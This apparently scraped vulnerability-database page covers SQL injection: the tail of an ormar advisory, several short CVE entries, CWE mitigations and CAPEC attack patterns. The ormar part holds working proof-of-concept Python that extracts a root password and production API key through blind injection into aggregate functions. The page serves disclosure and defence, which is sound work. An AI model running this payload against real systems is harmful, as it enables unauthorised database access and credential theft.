\u003c= high:\n mid = (low + high) // 2\n payload = (\n f\"CASE WHEN UNICODE(SUBSTR(\"\n f\"(SELECT password FROM {target_table} \"\n f\"WHERE username=\u0027root\u0027),{pos},1))\u003e{mid} \"\n f\"THEN 1 ELSE 0 END\"\n )\n result = inject(payload)\n request_count += 1\n if result == 1:\n low = mid + 1\n else:\n high = mid - 1\n extracted += chr(low)\n sys.stdout.write(f\"\\\\r[Stage 5] Extracting: {extracted}\")\n sys.stdout.flush()\n print(f\"\\\\n[Stage 5] Password extracted: {extracted} ({request_count} requests)\")\n\n # \u2500\u2500 Stage 6: Steal API key \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n payload = f\"(SELECT api_key FROM {target_table} WHERE username=\u0027root\u0027)\"\n result = inject(payload)\n print(f\"[Stage 6] Production API key: {result}\")\n\n print(f\"\\\\nTotal HTTP requests: {request_count + 6}\")\n print(\"All data extracted through a single public API endpoint.\")\n\nif __name__ == \"__main__\":\n main()\n```\n\n## Vulnerability Impact\n\nThis attack allows an unauthenticated user to read the entire database contents. Any API endpoint that passes user-controlled input to `Model.objects.min()` or `Model.objects.max()` becomes a full SQL injection entry point.\n\nThe attack is confirmed to work with the following database backends:\n\n- SQLite (via aiosqlite)\n- PostgreSQL (via asyncpg) \u2014 subquery syntax is identical\n- MySQL (via aiomysql) \u2014 subquery syntax is compatible\n\n**Realistic attack scenarios include:**\n\n- **REST APIs** with user-selectable aggregate fields: `GET /items/stats?column=\u003cinput\u003e`\n- **GraphQL resolvers** that accept field names as arguments\n- **Dynamic report generators** where users select columns for aggregation\n\nThe vulnerable server in this PoC is based on the **official ormar FastAPI example**, demonstrating that the vulnerability is easily triggered through natural, documented API design patterns. The ormar documentation itself shows this exact usage pattern: `await Book.objects.max(columns=[\"year\"])` ([[ormar aggregations docs](https://collerek.github.io/ormar/queries/aggregations/)](https://collerek.github.io/ormar/queries/aggregations/)).\n\n## Display of attack results\nTerminal 1 \u2014 Start server:\n\nTerminal 2 \u2014 Run attacker:\n\u003cimg width=\"2004\" height=\"1478\" alt=\"image (1)\" src=\"https://github.com/user-attachments/assets/ae41657b-2730-4fab-ac01-e79acd267bde\" /\u003e\n\u003cimg width=\"1984\" height=\"1500\" alt=\"image (2)\" src=\"https://github.com/user-attachments/assets/cbe0d652-d4d4-458c-998b-e636d6c362a1\" /\u003e",
"id": "GHSA-xxh2-68g9-8jqr",
"modified": "2026-02-24T16:08:26Z",
"published": "2026-02-23T22:12:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/collerek/ormar/security/advisories/GHSA-xxh2-68g9-8jqr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26198"
},
{
"type": "WEB",
"url": "https://github.com/collerek/ormar/commit/a03bae14fe01358d3eaf7e319fcd5db2e4956b16"
},
{
"type": "PACKAGE",
"url": "https://github.com/collerek/ormar"
},
{
"type": "WEB",
"url": "https://github.com/collerek/ormar/releases/tag/0.23.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "ormar is vulnerable to SQL Injection through aggregate functions min() and max()"
}
GHSA-XXH7-3PX8-X367
Vulnerability from github – Published: 2023-04-29 00:30 – Updated: 2023-04-29 00:30A vulnerability, which was classified as critical, has been found in SourceCodester AC Repair and Services System 1.0. Affected by this issue is some unknown functionality of the file services/view.php. The manipulation of the argument id leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-227702 is the identifier assigned to this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2023-2408"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-04-28T23:15:08Z",
"severity": "MODERATE"
},
"details": "A vulnerability, which was classified as critical, has been found in SourceCodester AC Repair and Services System 1.0. Affected by this issue is some unknown functionality of the file services/view.php. The manipulation of the argument id leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-227702 is the identifier assigned to this vulnerability.",
"id": "GHSA-xxh7-3px8-x367",
"modified": "2023-04-29T00:30:28Z",
"published": "2023-04-29T00:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2408"
},
{
"type": "WEB",
"url": "https://github.com/Yp1oneer/cve_hub/blob/main/AC%20Repair%20and%20Services%20System/SQL-Injection-1.pdf"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.227702"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.227702"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-XXHM-2G3M-GV88
Vulnerability from github – Published: 2022-05-24 17:01 – Updated: 2024-04-04 02:40main/resources/mapper/NewBeeMallGoodsMapper.xml in newbee-mall (aka New Bee) before 2019-10-23 allows search?goodsCategoryId=&keyword= SQL Injection.
{
"affected": [],
"aliases": [
"CVE-2019-19113"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-11-18T17:15:00Z",
"severity": "CRITICAL"
},
"details": "main/resources/mapper/NewBeeMallGoodsMapper.xml in newbee-mall (aka New Bee) before 2019-10-23 allows search?goodsCategoryId=\u0026keyword= SQL Injection.",
"id": "GHSA-xxhm-2g3m-gv88",
"modified": "2024-04-04T02:40:03Z",
"published": "2022-05-24T17:01:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-19113"
},
{
"type": "WEB",
"url": "https://github.com/newbee-ltd/newbee-mall/issues/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XXJ3-CP34-3H25
Vulnerability from github – Published: 2026-05-20 06:31 – Updated: 2026-05-20 06:31The Boost plugin for WordPress is vulnerable to time-based SQL Injection via the 'current_url' and 'user_name' parameters in versions up to, and including, 2.0.3 due to insufficient escaping on the user supplied parameters and lack of sufficient preparation on the existing SQL queries. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
{
"affected": [],
"aliases": [
"CVE-2026-9010"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-20T04:16:59Z",
"severity": "HIGH"
},
"details": "The Boost plugin for WordPress is vulnerable to time-based SQL Injection via the \u0027current_url\u0027 and \u0027user_name\u0027 parameters in versions up to, and including, 2.0.3 due to insufficient escaping on the user supplied parameters and lack of sufficient preparation on the existing SQL queries. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.",
"id": "GHSA-xxj3-cp34-3h25",
"modified": "2026-05-20T06:31:54Z",
"published": "2026-05-20T06:31:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9010"
},
{
"type": "WEB",
"url": "https://www.pixelyoursite.com/boost-plugin"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1cac2397-bb38-40d6-b90d-68e3ea136267?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XXJ4-CJ4P-X2C6
Vulnerability from github – Published: 2025-01-17 18:31 – Updated: 2025-01-17 18:31A vulnerability was found in 1000 Projects Campaign Management System Platform for Women 1.0. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file /Code/sc_login.php. The manipulation of the argument uname leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.
{
"affected": [],
"aliases": [
"CVE-2025-0533"
],
"database_specific": {
"cwe_ids": [
"CWE-74",
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-17T18:15:31Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in 1000 Projects Campaign Management System Platform for Women 1.0. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file /Code/sc_login.php. The manipulation of the argument uname leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.",
"id": "GHSA-xxj4-cj4p-x2c6",
"modified": "2025-01-17T18:31:15Z",
"published": "2025-01-17T18:31:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-0533"
},
{
"type": "WEB",
"url": "https://github.com/onupset/CVE/issues/2"
},
{
"type": "WEB",
"url": "https://1000projects.org"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.292417"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.292417"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.479119"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using "exec" or similar functionality, since this may re-introduce the possibility of SQL injection. [REF-867]
Mitigation MIT-17
Strategy: Environment Hardening
- Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
- Specifically, follow the principle of least privilege when creating user accounts to a SQL database. The database users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data. Use the strictest permissions possible on all database objects, such as execute-only for stored procedures.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-28
Strategy: Output Encoding
- While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
- Instead of building a new implementation, such features may be available in the database or programming language. For example, the Oracle DBMS_ASSERT package can check or enforce that parameters have certain properties that make them less vulnerable to SQL injection. For MySQL, the mysql_real_escape_string() API function is available in both C and PHP.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When constructing SQL query strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing SQL injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent SQL injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, the name "O'Reilly" would likely pass the validation step, since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise handled. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.
- When feasible, it may be safest to disallow meta-characters entirely, instead of escaping them. This will provide some defense in depth. After the data is entered into the database, later processes may neglect to escape meta-characters before use, and you may not have control over those processes.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of SQL Injection, error messages revealing the structure of a SQL query can help attackers tailor successful attack strings.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-108: Command Line Execution through SQL Injection
An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
CAPEC-109: Object Relational Mapping Injection
An attacker leverages a weakness present in the database access layer code generated with an Object Relational Mapping (ORM) tool or a weakness in the way that a developer used a persistence framework to inject their own SQL commands to be executed against the underlying database. The attack here is similar to plain SQL injection, except that the application does not use JDBC to directly talk to the database, but instead it uses a data access layer generated by an ORM tool or framework (e.g. Hibernate). While most of the time code generated by an ORM tool contains safe access methods that are immune to SQL injection, sometimes either due to some weakness in the generated code or due to the fact that the developer failed to use the generated access methods properly, SQL injection is still possible.
CAPEC-110: SQL Injection through SOAP Parameter Tampering
An attacker modifies the parameters of the SOAP message that is sent from the service consumer to the service provider to initiate a SQL injection attack. On the service provider side, the SOAP message is parsed and parameters are not properly validated before being used to access a database in a way that does not use parameter binding, thus enabling the attacker to control the structure of the executed SQL query. This pattern describes a SQL injection attack with the delivery mechanism being a SOAP message.
CAPEC-470: Expanding Control over the Operating System from the Database
An attacker is able to leverage access gained to the database to read / write data to the file system, compromise the operating system, create a tunnel for accessing the host machine, and use this access to potentially attack other machines on the same network as the database machine. Traditionally SQL injections attacks are viewed as a way to gain unauthorized read access to the data stored in the database, modify the data in the database, delete the data, etc. However, almost every data base management system (DBMS) system includes facilities that if compromised allow an attacker complete access to the file system, operating system, and full access to the host running the database. The attacker can then use this privileged access to launch subsequent attacks. These facilities include dropping into a command shell, creating user defined functions that can call system level libraries present on the host machine, stored procedures, etc.
CAPEC-66: SQL Injection
This attack exploits target software that constructs SQL statements based on user input. An attacker crafts input strings so that when the target software constructs SQL statements based on the input, the resulting SQL statement performs actions other than those the application intended. SQL Injection results from failure of the application to appropriately validate input.
CAPEC-7: Blind SQL Injection
Blind SQL Injection results from an insufficient mitigation for SQL Injection. Although suppressing database error messages are considered best practice, the suppression alone is not sufficient to prevent SQL Injection. Blind SQL Injection is a form of SQL Injection that overcomes the lack of error messages. Without the error messages that facilitate SQL Injection, the adversary constructs input strings that probe the target through simple Boolean SQL expressions. The adversary can determine if the syntax and structure of the injection was successful based on whether the query was executed or not. Applied iteratively, the adversary determines how and where the target is vulnerable to SQL Injection.